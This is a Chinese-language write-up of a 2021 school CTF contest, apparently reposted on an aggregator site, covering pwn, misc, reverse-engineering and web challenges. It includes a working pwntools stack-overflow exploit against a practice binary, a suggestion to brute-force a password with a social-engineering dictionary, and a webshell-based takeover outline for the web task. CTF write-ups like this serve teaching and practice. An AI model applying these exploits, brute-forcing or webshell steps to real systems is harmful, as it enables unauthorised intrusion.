[MCTF] 2021校赛题解
Posted mid2dog
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[MCTF] 2021校赛题解相关的知识,希望对你有一定的参考价值。
题解
前言
这次比赛有点感觉了,但在第三道pwn上卡了一个小时没出来…
hhh早知道去做逆向了,师兄送的分都没拿
20这届师弟还是nice的,就是起步晚了点,师弟们加油!
本题解主要提供思路,具体步骤可能不详细,见谅
web
web真好玩
你们的19web狗亲笔.
pwn
checkin
pwn里的签到题
gets函数不限制传入字符
所以可以把v4填满后继续溢出过rbp到返回地址
也就是覆盖r的位置,劫持到后门函数里
偏移量0x20+0x8
exp如下
from pwn import *
#context(os='linux', arch='i386', log_level='debug')
#dog = remote('47.100.53.148',10101)
dog = process("./checkin")
system = 0x004005b6
#binshaddr = 0x4005b6
#dog.recv()
#gdb.attach(dog)
a = 0x4005b6
payload = ('a' * (0x20+8)).encode() +p64(system) #+ 'aaaa'.encode() + p32(binshaddr)
#print(payload)
dog.sendline(payload)
dog.interactive()
通了
hack_note_sh
uaf漏洞
wiki上的原题,之前刚好刷到,质量不错
https://ctf-wiki.org/pwn/linux/glibc-heap/use_after_free/
hash_note_nosh
这题没有后门函数,我想用one_gadget一把梭来着,失败了。
后来发现攻防世界原题…
链接点我
所以这应该不算是pwn,应该算杂项。
misc
没有任何坑的简单题,看到大家都做出来了就不写了
至于社工题,这题我没看,看了眼后提供思路:
一种方法是猜密码
如果我来做应该会生成个社工字典
作为pwn狗用pwntools库爆破(当然web狗用requests库也可以)
总之形成交互就可以一把梭。
Reverse
srand
之前攻防世界上做pwn的时候遇到过srand
srand里面是固定的值的话每次生成的随机数也会是固定的
看了一眼直接把脚本写出来了…
这个是在windows下跑
然后搞半天找不到ubuntu16的环境
我的wsl也是18.04,淦
用libc2.23链接跑出来也不对…
总的来说,我是这个
burst is a good idea
纯百度题,当然也可以用python,基本大家都做出来了
what is this
用到了ida里的patch,校赛的时候还不会,之后是zhouyetao师兄教我的。
用patch改一下程序流程
好的,我虽然会patch了,但还是不知道这题怎么做
Diffcult
这次应该挑战下这三道diffcult题目的,感觉都能做…明年没机会了
re(enigma)
第一步查壳,拖进upx里脱壳
然后就可以拖ida里找程序入口
整理函数调用关系,并将变量重命名,分析如下
int cout_flag()
{
int v2;
int i;
int v4; // [rsp+20h] [rbp-20h]
int v5; // [rsp+28h] [rbp-18h]
int v6; // [rsp+30h] [rbp-10h]
v4 = 'mzdfmzgb';
v5 = 'zdfmzgbc';
v6 = 'gggmhzf';
for ( i = 0; i <= 22 && (i + a1) == *(&v4 + i); ++i );
if ( i == 23 )
printf("Congratulations,you get the true flag!");
else
printf("I am sorry to tell you that you are wrong.");
return result;
}
int en1(char a1,int a2)
{
for ( i = 0; i <= 26; ++i )
v6[i] = *(i + a1);
v5 = en2(v6, a2);
for ( j = 0; j <= 25; ++j )
v6[j] = v5[j];
result = v5;
}
int en2(char *a1,int a2)
{
v3 = a1;
for ( i = 0; i < a2; ++i )
{
for ( j = 1; j <= 25; ++j )
c[j - 1] = v3[j];
}
return c;
}
int en3(char a1,int a2)
{
v3 = 0;
for ( i = 0; i <= 26; ++i )
v6[i] = *(i + a2);
for ( j = 0; j <= 25; ++j )
{
if ( v6[j] == a1 )
{
v3 = j + 1;
break;
}
}
}
int encrypt(a1)
{
a_z="abcdefghijklmnopqrstuvwxyz"
a_z2="abcdefghijklmnopqrstuvwxyz"
x = a1;
for ( i = 0; i <= 22; ++i )
a[i] = *(x + i);
y = en1(a_z, 4);
for ( j = 0; j <= 25; ++j )
a_z[j] = *(y + j);
y = en1(a_z2, 3);
for ( k = 0; k <= 25; ++k )
v1 = *(y + k);
a_z2[k] = v1
for ( l = 0; l <= 22; ++l )
{
flag1[l] = a_z2[en3(a[l], a_z,v1)];
y = en1(a_z, 1u);
for ( m = 0; m <= 25; ++m )
a_z[m] = *(y + m);
y = en1(a_z2, 1u);
for ( n = 0; n <= 25; ++n )
a_z2[n] = *(y + n);
}
return cout_flag(flag1);
}
int main()
{
signed int i; // [rsp+Ch] [rbp-4h]
input = your_input();
for ( i = 0; i <= 22; ++i )
input1[i] = *(input + i);
return encrypt(input1);
}
从最后输出flag的函数看起
-
当i为23的时候就成功输出flag。
-
所以需要前面的for循环不退出,也就是让 *(i+a1) 和 *(v4+i)的值相等。
-
我们知道,*是取地址的意思,所以实际上就是比较 a1数组和v4数组。
-
在内存空间中,v4、v5、v6的地址是连在一起的,如图
-
所以a1要等于"mzdffmzgbzdfmzgbcgggmhzf"即可
a1是上一个函数调用该函数时传入的参数,也就是上面的flag1
-
可以看到,每一位flag1经过en3变换,需要用到a_z2和a_z
-
a_z2和a_z每轮都在用en1变换
-
而en1中又调用了en2
-
调用了en3,分析en3
这里的传参类型有点小问题,a2应该是a_z的地址
返回值也漏了,返回值应该是v3
-
v1并没有用到,不用去管
-
那en3的返回值就是a[l]值在a_z中的出现位置
-
en3的返回值又作为a_z2的下标,就是我们的flag1
-
然后我们就可以逆出a[l]
-
a[l]就是flag,因为根据ida里函数调用关系,a[l]正是我们的输入
-
大致思路就清楚了。。然后en1变换和en2等就是enigma密码机
-
之后就可以写脚本,懒得写,可以拿草稿纸推一遍
pwn
看给的hint是ret2dl-runtime-resolve,属于高阶rop里的内容,还没学,之后会再开一篇博客记录学习过程
不鸽的话会补上链接在这里
日站
大致思路就是登录管理员账号,getshell后用菜刀连,flag在数据库里。
具体可以问19web🐶
就到这里吧,安了安了。
以上是关于[MCTF] 2021校赛题解的主要内容,如果未能解决你的问题,请参考以下文章